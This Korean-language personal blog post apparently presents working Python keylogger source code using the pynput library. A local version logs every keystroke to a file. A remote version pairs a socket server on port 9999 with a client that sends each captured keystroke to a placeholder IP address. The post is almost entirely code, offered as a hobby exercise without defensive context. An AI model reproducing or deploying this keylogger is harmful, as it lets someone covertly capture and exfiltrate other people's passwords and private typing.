pip install pynput
먼저, local version
from pynput.keyboard import Key, Listener
import logging
log_dir=''
logging.basicConfig(filename="logging.txt",
level=logging.DEBUG, format='[%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
with Listener(on_press) as l:
l.join()
remote version
server.py
import socket
import logging
logging.basicConfig(filename="logger.txt", level=logging.DEBUG, format='[%(asctime)s", %(message)s]')
sckt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sckt.bind(("0.0.0.0", 9999))
sckt.listen()
client_sckt, client_addr = sckt.accept()
print('connected client_skct : ', client_sckt)
print('connected client_addr : ', client_addr)
while True:
data = client_sckt.recv(1024)
if not data:
break
logging.info('"{0}"'.format(data.decode()))
client.py
from pynput.keyboard import Key, Listener
import socket
sckt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sckt.connect(("ip주소", 9999))
def on_press(key):
strr = ""+str(key)
sckt.send(strr.encode())
with Listener(on_press) as l:
l.join()
pynput에 많은 기능이 있던데... 더 공부해보기!
'개발' 카테고리의 다른 글
windows10 jupyter notebook 설치 (0) | 2021.11.04 |
---|---|
[python] __name__ 직접 출력으로 알아보기 (0) | 2021.09.03 |
[멀티쓰레드] semaphore, mutex 개념 (0) | 2021.08.24 |
ELK logstash.conf - filter 주의사항 (0) | 2021.08.13 |
동기 비동기/ blocking nonblocking 개념 (0) | 2021.07.29 |
댓글